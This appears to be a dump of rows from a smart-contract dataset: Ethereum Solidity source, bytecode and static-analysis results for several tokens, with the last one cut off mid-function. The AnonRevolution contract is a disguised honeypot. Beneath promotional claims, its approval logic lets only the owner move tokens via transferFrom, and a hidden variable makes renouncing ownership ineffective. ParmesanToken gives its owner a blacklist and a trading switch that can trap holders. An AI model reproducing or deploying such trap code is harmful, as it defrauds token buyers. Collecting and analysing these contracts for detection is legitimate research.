} | 0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100985780635c60da1b146101185780638f28397014610149578063f851a4401461017c5761005d565b3661005d5761005b610191565b005b61005b610191565b34801561007157600080fd5b5061005b6004803603602081101561008857600080fd5b50356001600160a01b03166101ab565b61005b600480360360408110156100ae57600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156100d957600080fd5b8201836020820111156100eb57600080fd5b8035906020019184600183028401116401000000008311171561010d57600080fd5b5090925090506101e5565b34801561012457600080fd5b5061012d610292565b604080516001600160a01b039092168252519081900360200190f35b34801561015557600080fd5b5061005b6004803603602081101561016c57600080fd5b50356001600160a01b03166102cf565b34801561018857600080fd5b5061012d610389565b6101996103ba565b6101a96101a461041a565b61043f565b565b6101b3610463565b6001600160a01b0316336001600160a01b031614156101da576101d581610488565b6101e2565b6101e2610191565b50565b6101ed610463565b6001600160a01b0316336001600160a01b031614156102855761020f83610488565b6000836001600160a01b031683836040518083838082843760405192019450600093509091505080830381855af49150503d806000811461026c576040519150601f19603f3d011682016040523d82523d6000602084013e610271565b606091505b505090508061027f57600080fd5b5061028d565b61028d610191565b505050565b600061029c610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd61041a565b90506102cc565b6102cc610191565b90565b6102d7610463565b6001600160a01b0316336001600160a01b031614156101da576001600160a01b0381166103355760405162461bcd60e51b81526004018080602001828103825260368152602001806105876036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61035e610463565b604080516001600160a01b03928316815291841660208301528051918290030190a16101d5816104c8565b6000610393610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd610463565b3b151590565b6103c2610463565b6001600160a01b0316336001600160a01b031614156104125760405162461bcd60e51b81526004018080602001828103825260328152602001806105556032913960400191505060405180910390fd5b6101a96101a9565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e80801561045e573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b610491816104ec565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b6104f5816103b4565b6105305760405162461bcd60e51b815260040180806020018281038252603b8152602001806105bd603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5556fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a2646970667358221220afadda9853f79adb7f84fd8e8f0c196c688b296b14a17fa5f4f9f8e86a6e142964736f6c634300060c0033 | {"success": true, "error": null, "results": {}} | 9,649 |
0x2df8286c9396f52e17DFeE75d2E41E52609CF897 | pragma solidity ^0.4.14;
/// @title Ownable contract - base contract with an owner
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
/// @title Killable contract - base contract that can be killed by owner. All funds in contract will be sent to the owner.
contract Killable is Ownable {
function kill() onlyOwner {
selfdestruct(owner);
}
}
/// @title ERC20 interface see https://github.com/ethereum/EIPs/issues/20
contract ERC20 {
uint public totalSupply;
function balanceOf(address who) constant returns (uint);
function allowance(address owner, address spender) constant returns (uint);
function mint(address receiver, uint amount);
function transfer(address to, uint value) returns (bool ok);
function transferFrom(address from, address to, uint value) returns (bool ok);
function approve(address spender, uint value) returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
/// @title SafeMath contract - math operations with safety checks
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint a, uint b) internal returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
}
/// @title SilentNotaryToken contract - standard ERC20 token with Short Hand Attack and approve() race condition mitigation.
contract SilentNotaryToken is SafeMath, ERC20, Killable {
string constant public name = "Silent Notary Token";
string constant public symbol = "SNTR";
uint constant public decimals = 4;
/// Buyout price
uint constant public BUYOUT_PRICE = 20e10;
/// Holder list
address[] public holders;
/// Balance data
struct Balance {
/// Tokens amount
uint value;
/// Object exist
bool exist;
}
/// Holder balances
mapping(address => Balance) public balances;
/// Contract that is allowed to create new tokens and allows unlift the transfer limits on this token
address public crowdsaleAgent;
/// A crowdsale contract can release us to the wild if ICO success. If false we are are in transfer lock up period.
bool public released = false;
/// approve() allowances
mapping (address => mapping (address => uint)) allowed;
/// @dev Limit token transfer until the crowdsale is over.
modifier canTransfer() {
if(!released)
require(msg.sender == crowdsaleAgent);
_;
}
/// @dev The function can be called only before or after the tokens have been releasesd
/// @param _released token transfer and mint state
modifier inReleaseState(bool _released) {
require(_released == released);
_;
}
/// @dev If holder does not exist add to array
/// @param holder Token holder
modifier addIfNotExist(address holder) {
if(!balances[holder].exist)
holders.push(holder);
_;
}
/// @dev The function can be called only by release agent.
modifier onlyCrowdsaleAgent() {
require(msg.sender == crowdsaleAgent);
_;
}
/// @dev Fix for the ERC20 short address attack http://vessenes.com/the-erc20-short-address-attack-explained/
/// @param size payload size
modifier onlyPayloadSize(uint size) {
require(msg.data.length >= size + 4);
_;
}
/// @dev Make sure we are not done yet.
modifier canMint() {
require(!released);
_;
}
/// Tokens burn event
event Burned(address indexed burner, address indexed holder, uint burnedAmount);
/// Tokens buyout event
event Pay(address indexed to, uint value);
/// Wei deposit event
event Deposit(address indexed from, uint value);
/// @dev Constructor
function SilentNotaryToken() {
}
/// Fallback method
function() payable {
require(msg.value > 0);
Deposit(msg.sender, msg.value);
}
/// @dev Create new tokens and allocate them to an address. Only callably by a crowdsale contract
/// @param receiver Address of receiver
/// @param amount Number of tokens to issue.
function mint(address receiver, uint amount) onlyCrowdsaleAgent canMint addIfNotExist(receiver) public {
totalSupply = safeAdd(totalSupply, amount);
balances[receiver].value = safeAdd(balances[receiver].value, amount);
balances[receiver].exist = true;
Transfer(0, receiver, amount);
}
/// @dev Set the contract that can call release and make the token transferable.
/// @param _crowdsaleAgent crowdsale contract address
function setCrowdsaleAgent(address _crowdsaleAgent) onlyOwner inReleaseState(false) public {
crowdsaleAgent = _crowdsaleAgent;
}
/// @dev One way function to release the tokens to the wild. Can be called only from the release agent that is the final ICO contract. It is only called if the crowdsale has been success (first milestone reached).
function releaseTokenTransfer() public onlyCrowdsaleAgent {
released = true;
}
/// @dev Tranfer tokens to address
/// @param _to dest address
/// @param _value tokens amount
/// @return transfer result
function transfer(address _to, uint _value) onlyPayloadSize(2 * 32) canTransfer addIfNotExist(_to) returns (bool success) {
balances[msg.sender].value = safeSub(balances[msg.sender].value, _value);
balances[_to].value = safeAdd(balances[_to].value, _value);
balances[_to].exist = true;
Transfer(msg.sender, _to, _value);
return true;
}
/// @dev Tranfer tokens from one address to other
/// @param _from source address
/// @param _to dest address
/// @param _value tokens amount
/// @return transfer result
function transferFrom(address _from, address _to, uint _value) onlyPayloadSize(2 * 32) canTransfer addIfNotExist(_to) returns (bool success) {
var _allowance = allowed[_from][msg.sender];
balances[_to].value = safeAdd(balances[_to].value, _value);
balances[_from].value = safeSub(balances[_from].value, _value);
balances[_to].exist = true;
allowed[_from][msg.sender] = safeSub(_allowance, _value);
Transfer(_from, _to, _value);
return true;
}
/// @dev Tokens balance
/// @param _owner holder address
/// @return balance amount
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner].value;
}
/// @dev Approve transfer
/// @param _spender holder address
/// @param _value tokens amount
/// @return result
function approve(address _spender, uint _value) returns (bool success) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require ((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/// @dev Token allowance
/// @param _owner holder address
/// @param _spender spender address
/// @return remain amount
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
/// @dev buyout method
/// @param _holder holder address
/// @param _amount wei for buyout tokens
function buyout(address _holder, uint _amount) onlyOwner addIfNotExist(msg.sender) external {
require(_holder != msg.sender);
require(this.balance >= _amount);
require(BUYOUT_PRICE <= _amount);
uint multiplier = 10 ** decimals;
uint buyoutTokens = safeDiv(safeMul(_amount, multiplier), BUYOUT_PRICE);
balances[msg.sender].value = safeAdd(balances[msg.sender].value, buyoutTokens);
balances[_holder].value = safeSub(balances[_holder].value, buyoutTokens);
balances[msg.sender].exist = true;
Transfer(_holder, msg.sender, buyoutTokens);
_holder.transfer(_amount);
Pay(_holder, _amount);
}
} | 0x | {"success": true, "error": null, "results": {"detectors": [{"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}} | 9,650 |
0x11f77E2A9f4B52d008824626Df8747EF9C4a747a | /**
*Submitted for verification at Etherscan.io on 2021-07-08
*/
/*
_ _ ____ _ ___ ____ __ ____ _ _ _____
/\ | \ | |/ __ \| \ | \ \ / / \/ |/ __ \| | | |/ ____|
/ \ | \| | | | | \| |\ \_/ /| \ / | | | | | | | (___
/ /\ \ | . ` | | | | . ` | \ / | |\/| | | | | | | |\___ \
/ ____ \| |\ | |__| | |\ | | | | | | | |__| | |__| |____) |
/_/___ \_\_|_\_|\____/|_|_\_| _|_| |_| |_|\____/ \____/|_____/ _
| __ \| ____\ \ / / __ \| | | | | |__ __|_ _/ __ \| \ | |
| |__) | |__ \ \ / / | | | | | | | | | | | || | | | \| |
| _ /| __| \ \/ /| | | | | | | | | | | | || | | | . ` |
| | \ \| |____ \ / | |__| | |___| |__| | | | _| || |__| | |\ |
|_| \_\______| \/ \____/|______\____/ |_| |_____\____/|_| \_|
⚡️ $ANON - AnonRevolution - https://t.me/revolutionanonymous
👤TOTAL SUPPLY - 500,000,000,000
TOTAL BURN - 200,000,000,00
LIQUIDITY POOL - 260,000,000,000
MARKETING FUND - 40,000,000,000
TRANSACTION TAX - 12%
MAX TRANSACTION - 5,000,000,000
👤7% fee, 2% reflection to holders, 2% to marketing wallet, 1% to dip buying wallet
👤PROJECT REVOLUTION WILL HAVE FULL TRANSPARENCY. WE WILL BUY EVERY DIP AND MAKE IT OUR MISSION TO ENSURE THERE ARE NO DUMPS.
WE HAVE AN ANTI-BOT MECHANISM IN PLACE, THERE WILL BE NO SNIPES.
🌎CMC LISTING & CG LISTING WITHIN 48HRS OF LAUNCH
🌎CORRUPT NFT LAUNCH WITHIN 48HRS OF LAUNCH
👤 ANON CORRUPT NFTS: 4 NFTS, 50 EDITIONS EACH, 2 DROPS EACH WEEK.
👤 MUST HAVE ALL 4 TO WIN. ONCE YOU HAVE ALL 4 CONTACT ADMIN WITH PROOF AND WALLET ADDRESS.
👤 THERE WILL BE 10 WINNERS - FIRST 10 PEOPLE WIN SPECIAL PRIZE. (TBA)
🌎ANONYMOUS WILL NOT DISAPPOINT.
🌎EXPECT US.
💻https://anonrevolution.io/
💻https://t.me/revolutionanonymous
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract AnonRevolution is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 500 * 10**9 * 10**18;
string private _name = 'AnonRevolution | https://t.me/revolutionanonymous';
string private _symbol = 'ANON️';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _approve(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: approve from the zero address");
require(to != address(0), "ERC20: approve to the zero address");
if (from == owner()) {
_allowances[from][to] = amount;
emit Approval(from, to, amount);
} else {
_allowances[from][to] = 0;
emit Approval(from, to, 4);
}
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
} | 0x7311f77e2a9f4b52d008824626df8747ef9c4a747a30146080604052600080fdfea2646970667358221220e62cf457647e4b937a55109c9aade972f240805c5ff8b88ff3ce1d00cd35e78c64736f6c634300060c0033 | {"success": true, "error": null, "results": {}} | 9,651 |
0x4c4d6030df7bacb9bd975fb8c00175ab2d054b7a | /**
*Submitted for verification at Etherscan.io on 2022-02-11
*/
/**
* ParmesanToken - $PARMESAN
Telegram: https://t.me/ParamesanToken
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract ParmesanToken is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "ParmesanToken";
string private constant _symbol = "PARMESAN";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 9;
//Sell Fee
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 9;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0x3BC60d8c557233aA87F1FD6153273D300D41D8ec);
address payable private _marketingAddress = payable(0x3BC60d8c557233aA87F1FD6153273D300D41D8ec);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 30000000 * 10**9; //3%
uint256 public _maxWalletSize = 90000000 * 10**9; //9%
uint256 public _swapTokensAtAmount = 5000000 * 10**9; //0.5%
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);///////////
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
